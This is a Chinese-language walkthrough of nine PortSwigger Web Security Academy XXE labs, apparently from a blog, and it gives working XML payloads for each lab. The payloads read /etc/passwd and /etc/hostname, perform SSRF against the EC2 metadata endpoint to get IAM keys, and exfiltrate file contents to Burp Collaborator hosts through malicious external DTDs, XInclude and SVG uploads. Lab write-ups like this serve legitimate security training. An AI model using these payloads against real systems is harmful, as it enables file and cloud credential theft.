Portswigger web security academy:XML external entity (XXE) injection
Portswigger web security academy:XML external entity (XXE) injection
- Portswigger web security academy:XML external entity (XXE) injection
- 1 - Exploiting XXE using external entities to retrieve files
- 2 - Exploiting XXE to perform SSRF attacks
- 3 - Blind XXE with out-of-band interaction
- 4 - Blind XXE with out-of-band interaction via XML parameter entities
- 5 - Exploiting blind XXE to exfiltrate data using a malicious external DTD
- 6 - Exploiting blind XXE to retrieve data via error messages
- 7 -Exploiting XXE to retrieve data by repurposing a local DTD
- 8 - Exploiting XInclude to retrieve files
- 9 - Exploiting XXE via image file upload
1 - Exploiting XXE using external entities to retrieve files
题目描述
- Check stock功能点可能存在XXE
要求
- 读取
/etc/passwd
- 读取
解题过程
构造读取文件的exp
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>
<stockCheck><productId>1&ext;</productId><storeId>1</storeId></stockCheck>
2 - Exploiting XXE to perform SSRF attacks
题目描述
- Check stock功能点可以XXE
- 在
169.254.169.254存在EC2元数据端点
要求
- 利用XXE进行SSRF,获取EC2中的IAM secret access key
解题步骤
构造exp
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1&xxe;</storeId></stockCheck>
这里需要把实体放在
productId中,因为该参数出错后会把输入的内容返回请求会返回目录,根据返回的目录逐层进入即可
3 - Blind XXE with out-of-band interaction
题目描述
- Check stock存在XXE
- 但是没有返回
要求
- 实现OOB(Out-Of-Band 外带) XXE
解题过程
利用burp自带的Collaborator构造exp
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://zrusv2avyq5v1n31ir5cestoefk58u.burpcollaborator.net/"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1&xxe;</storeId></stockCheck>
4 - Blind XXE with out-of-band interaction via XML parameter entities
题目描述
- Check stock存在XXE
- 会阻止包含常规外部实体的请求
要求
- 实现OOB XXE
解题过程
从材料中得知,除了普通的外部实体,还有参数实体
借助参数实体构造exp
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE asd [ <!ENTITY % xxe SYSTEM "http://qwqj0tfm3ham6e8snia3jjyfj6pxdm.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
5 - Exploiting blind XXE to exfiltrate data using a malicious external DTD
题目描述
- Check stock存在XXE
要求
- 获取
/etc/hostname的内容
- 获取
解题步骤
借助collaborator构造参数实体exp并上传到exploirt server
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://y98rd1sugpnujml00qnbwrbnwe26qv.burpcollaborator.net/?%file;'>">
%eval;
%exfiltrate;
其中的
%是%的十六进制下的实体编码,用实体编码是为了防止报错%eval会解码并执行<!ENTITY % exfiltrate SYSTEM 'http://y98rd1sugpnujml00qnbwrbnwe26qv.burpcollaborator.net/?%file;'>,即进行参数实体exfiltrate的定义声明
构造xxe加载exp
<!DOCTYPE asd [<!ENTITY % ext SYSTEM "https://ac8f1f291f206d6880971508018f00ac.web-security-academy.net/exploit"> %ext;]
在collaborator client查看请求,复制并提交hostname
6 - Exploiting blind XXE to retrieve data via error messages
题目描述
- Check stock存在XXE
- exploit server可以放置恶意DTD
要求
- 通过报错信息获取
/etc/passwd的内容
- 通过报错信息获取
解题步骤
和上一题类似,先构造参数实体exp并上传到exploit server
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;
构造xxe加载exp
<!DOCTYPE asd [<!ENTITY % ext SYSTEM "https://ace71f7f1e8ca62780ce1c5f01dd00a4.web-security-academy.net/exploit"> %ext;]>
7 -Exploiting XXE to retrieve data by repurposing a local DTD
题目描述
- Check stock存在XXE
- 主机存在DTD文件
/usr/share/yelp/dtd/docbookx.dtd,且其中有一个实体叫做ISOamso
要求
- 借助材料中介绍的重定义外部DTD的方法,获取
/etc/passwd的内容
- 借助材料中介绍的重定义外部DTD的方法,获取
解题步骤
材料已经写的很详细了,直接构造exp
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
这个exp解决了当主机无法加载外网DTD文件时如何进行报错XXE的问题
巧妙之处在于,直接提交的XML:一个内部实体中不能包含另一个实体,但是通过加载并重定义本地DTD文件中的实体,可以解决这个问题

8 - Exploiting XInclude to retrieve files
题目描述
- Check stock存在XXE,用户输入会被嵌入服务端的XML中并随后被解析
要求
- 借助
XInclude语句获取/etc/passwd文件内容
- 借助
解题步骤
关于
XInclude可以看看这篇文章简而言之,它的作用和php的
include类似,把目标文件的内容包含进来构造exp
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
9 - Exploiting XXE via image file upload
题目描述
- 这个lab允许用户上传图片
- 服务端使用
Apache Batik library处理上传的图片
要求
- 通过XXE获取
/etc/hostname的内容并提交
- 通过XXE获取
解题步骤
尝试构造exp
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE asd [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg><xxx>&xxe;</xxx></svg>
报错500,然后尝试了很多其他格式和命名方式,都不行,去看了官方的solution。。。发现需要用svg的标准来写,因为最后内容会被转换为png
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
Portswigger web security academy:XML external entity (XXE) injection的更多相关文章
- Portswigger web security academy:SQL injection
Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...
- Portswigger web security academy:Cross-site request forgery (CSRF)
Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...
- Portswigger web security academy:WebSockets
Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...
- Portswigger web security academy:Clickjacking (UI redressing)
Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...
- Portswigger web security academy:Cross-origin resource sharing (CORS)
Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...
- Portswigger web security academy:OAth authentication vulnerable
Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...
- Portswigger web security academy:Server-side request forgery (SSRF)
Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...
- Portswigger web security academy:OS command injection
Portswigger web security academy:OS command injection 目录 Portswigger web security academy:OS command ...
- Portswigger web security academy:Server-side template injection(SSTI)
Portswigger web security academy:Server-side template injection(SSTI) 目录 Portswigger web security ac ...
随机推荐
- FreeBSD 12.2 发布
FreeBSD 团队宣布 FreeBSD 12.2 正式发布,这是 FreeBSD 12 的第三个稳定版本. 本次更新的一些亮点: 引入了对无线网络堆栈的更新和各种驱动程序,以提供更好的 802.11 ...
- [BJWC2018] Kakuro
一.题目 点此看题 二.解法 我一开始一直想不出来,直接刚这个题实在是太复杂了,因为一开始就是不合法的. 下次遇到复杂的题一定要想 调整法 ,我再不往这个方向想我吔屎 好了言归正传,我们先找一组可行的 ...
- java 集合 的理解
1.对象的存储:①数组(基本数据类型 & 引用数据类型) ②集合(引用数据类型) >数组存储数据的弊端:长度一旦初始化以后,就不可变:真正给数组元素赋值的个数没有现成的方法可用. 2.集 ...
- Linux内核模块驱动加载与dmesg调试
因为近期用到了Linux内核的相关知识,下面随笔将给出内核模块的编写记录,供大家参考. 1.运行环境 Ubuntu 版本:20.04 Linux内核版本:5.4.0-42-generic gcc版本: ...
- Visual Studio添加引用的方式
- SpringCloud 中 Feign 调用使用总结
最近做微服务架构的项目,在用 feign 来进行服务间的调用.在互调的过程中,难免出现问题,根据错误总结了一下,主要是请求方式的错误和接参数的错误造成的.在此进行一下总结记录. 以下通过分为三种情况说 ...
- Java系列教程-MyBatis 3.5.5 教程目录
MyBatis 3.5.5 初级教程目录 可参考MyBatis的官方文档也比较清楚 https://mybatis.org/mybatis-3/zh/getting-started.html 代码 目 ...
- ES核心概念和原理
ES:1:倒排索引 基于Document 关键词索引实现 . 根据关键词做索引 相关度 a. 数据结构 i. 包含关键词的Document List ii. 关键词在每个doc中出现的次数 词频 TF ...
- OpenCV图像处理中“找圆技术”的使用
一.为什么"找圆" 圆是基本图形的一种,更为重要的是,自然情况下采集的图像,很少大量存在"圆":但凡存在的,大都是人工的,那么就必然代表特定的意义,从而 ...
- MySQL常见的七种锁详细介绍()
原地址: https://blog.csdn.net/Saintyyu/article/details/91269087